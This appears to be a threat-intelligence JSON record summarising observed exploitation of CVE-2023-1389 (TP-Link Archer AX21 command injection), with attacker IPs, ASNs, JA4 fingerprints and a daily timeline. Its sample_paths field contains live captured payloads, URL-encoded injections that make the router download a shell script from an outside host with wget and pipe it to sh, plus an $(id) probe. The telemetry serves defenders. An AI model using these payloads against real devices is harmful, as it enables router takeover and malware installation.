{"cve_id":"CVE-2023-1389","title":"TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection","severity":"critical","actively_exploited":true,"patterns":["/cgi-bin/luci/;stok=/locale?form=country"],"events":62,"unique_ips":20,"actors":[{"ip":"221.159.119.6","events":26,"country_code":"KR","country":"South Korea","org":"Korea Telecom","rdns":"","scanner_tag":null},{"ip":"85.11.167.16","events":6,"country_code":"NL","country":"The Netherlands","org":"TechTies Inc.","rdns":"","scanner_tag":null},{"ip":"124.198.131.185","events":5,"country_code":"US","country":"United States","org":"1337 Services GmbH","rdns":"","scanner_tag":null},{"ip":"142.248.80.31","events":4,"country_code":"US","country":"United States","org":"Advin Services LLC","rdns":"","scanner_tag":null},{"ip":"94.154.43.158","events":3,"country_code":"UA","country":"Ukraine","org":"Amarutu Technology Ltd","rdns":"","scanner_tag":null},{"ip":"192.142.28.77","events":2,"country_code":"NL","country":"The Netherlands","org":"Hostpalace Datacenters Ltd","rdns":"hosted-by.host-palace.com","scanner_tag":null},{"ip":"31.135.19.237","events":2,"country_code":"PL","country":"Poland","org":"SWIDMAN S.C. Mariusz Bzowski, Dariusz Drelich","rdns":"","scanner_tag":null},{"ip":"101.36.125.58","events":2,"country_code":"HK","country":"Hong Kong","org":"UCLOUD INFORMATION TECHNOLOGY HK LIMITED","rdns":"","scanner_tag":null},{"ip":"94.154.43.115","events":1,"country_code":"NL","country":"The Netherlands","org":"Storm Industries LLC","rdns":"","scanner_tag":null},{"ip":"176.65.139.166","events":1,"country_code":"DE","country":"Germany","org":"Pfcloud UG (haftungsbeschrankt)","rdns":"","scanner_tag":null},{"ip":"176.65.139.158","events":1,"country_code":"DE","country":"Germany","org":"Pfcloud UG (haftungsbeschrankt)","rdns":"","scanner_tag":null},{"ip":"176.65.139.126","events":1,"country_code":"DE","country":"Germany","org":"Pfcloud UG (haftungsbeschrankt)","rdns":"","scanner_tag":null},{"ip":"45.153.34.170","events":1,"country_code":"NL","country":"Netherlands","org":"Pfcloud UG (haftungsbeschrankt)","rdns":"","scanner_tag":null},{"ip":"94.154.43.30","events":1,"country_code":"NL","country":"The Netherlands","org":"Storm Industries LLC","rdns":"","scanner_tag":null},{"ip":"176.65.139.165","events":1,"country_code":"DE","country":"Germany","org":"Pfcloud UG (haftungsbeschrankt)","rdns":"","scanner_tag":null},{"ip":"176.65.139.136","events":1,"country_code":"DE","country":"Germany","org":"Pfcloud UG (haftungsbeschrankt)","rdns":"","scanner_tag":null},{"ip":"195.178.110.42","events":1,"country_code":"BG","country":"Bulgaria","org":"Techoff Srv Limited","rdns":"","scanner_tag":null},{"ip":"79.137.162.56","events":1,"country_code":"RU","country":"Russia","org":"LLC Digital Network","rdns":"","scanner_tag":null},{"ip":"45.198.224.148","events":1,"country_code":"SE","country":"Sweden","org":"","rdns":"","scanner_tag":null},{"ip":"94.154.43.10","events":1,"country_code":"UA","country":"Ukraine","org":"Storm Industries LLC","rdns":"","scanner_tag":null}],"top_asns":[{"asn":4766,"org":"Korea Telecom","events":26,"ips":1},{"asn":197170,"org":"TechTies Inc.","events":6,"ips":1},{"asn":51396,"org":"Pfcloud UG (haftungsbeschrankt)","events":6,"ips":6},{"asn":210558,"org":"1337 Services GmbH","events":5,"ips":1},{"asn":22295,"org":"Advin Services LLC","events":4,"ips":1},{"asn":219502,"org":"Storm Industries LLC","events":3,"ips":3},{"asn":135377,"org":"UCLOUD INFORMATION TECHNOLOGY HK LIMITED","events":2,"ips":1},{"asn":56983,"org":"SWIDMAN S.C. Mariusz Bzowski, Dariusz Drelich","events":2,"ips":1},{"asn":60064,"org":"Hostpalace Datacenters Ltd","events":2,"ips":1},{"asn":206264,"org":"Amarutu Technology Ltd","events":2,"ips":1}],"fingerprints":{"ja4h":["ge11nn0100_4740ae6347b0","po11nn0500_b4ba55311b46","po11nn0600_f8bf768a441b","po11nn0600_99a8bce9aba9","po11nn0700_7a7c5172e3ad","po11nn0600_36b368ee4bc7"],"ja4":["t13i250900_b78ed14e2fd0_e7c285222651","t13i131000_f57a46bbacb6_ab7e3b40a677"]},"sample_paths":["/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F204.10.194.134%2Frondo.%5Czqq.sh%7Csh%60","/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id)","/cgi-bin/luci/;stok=/locale?form=country","/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh)"],"timeline":[{"day":"2026-05-07","events":2,"ips":1},{"day":"2026-05-09","events":1,"ips":1},{"day":"2026-05-10","events":2,"ips":1},{"day":"2026-05-12","events":5,"ips":2},{"day":"2026-05-13","events":1,"ips":1},{"day":"2026-05-14","events":1,"ips":1},{"day":"2026-05-15","events":2,"ips":1},{"day":"2026-05-17","events":6,"ips":2},{"day":"2026-05-30","events":2,"ips":1},{"day":"2026-06-01","events":1,"ips":1},{"day":"2026-06-06","events":1,"ips":1},{"day":"2026-06-07","events":2,"ips":1},{"day":"2026-06-12","events":2,"ips":1},{"day":"2026-06-18","events":1,"ips":1},{"day":"2026-06-20","events":2,"ips":2},{"day":"2026-06-24","events":1,"ips":1},{"day":"2026-06-29","events":3,"ips":1},{"day":"2026-06-30","events":3,"ips":2},{"day":"2026-07-02","events":2,"ips":1},{"day":"2026-07-03","events":2,"ips":1},{"day":"2026-07-06","events":2,"ips":1},{"day":"2026-07-08","events":2,"ips":1},{"day":"2026-07-12","events":2,"ips":1},{"day":"2026-07-13","events":1,"ips":1},{"day":"2026-07-15","events":3,"ips":1},{"day":"2026-07-16","events":4,"ips":2},{"day":"2026-07-18","events":1,"ips":1},{"day":"2026-07-19","events":2,"ips":1},{"day":"2026-07-21","events":2,"ips":1},{"day":"2026-07-25","events":1,"ips":1}],"window_hours":2160}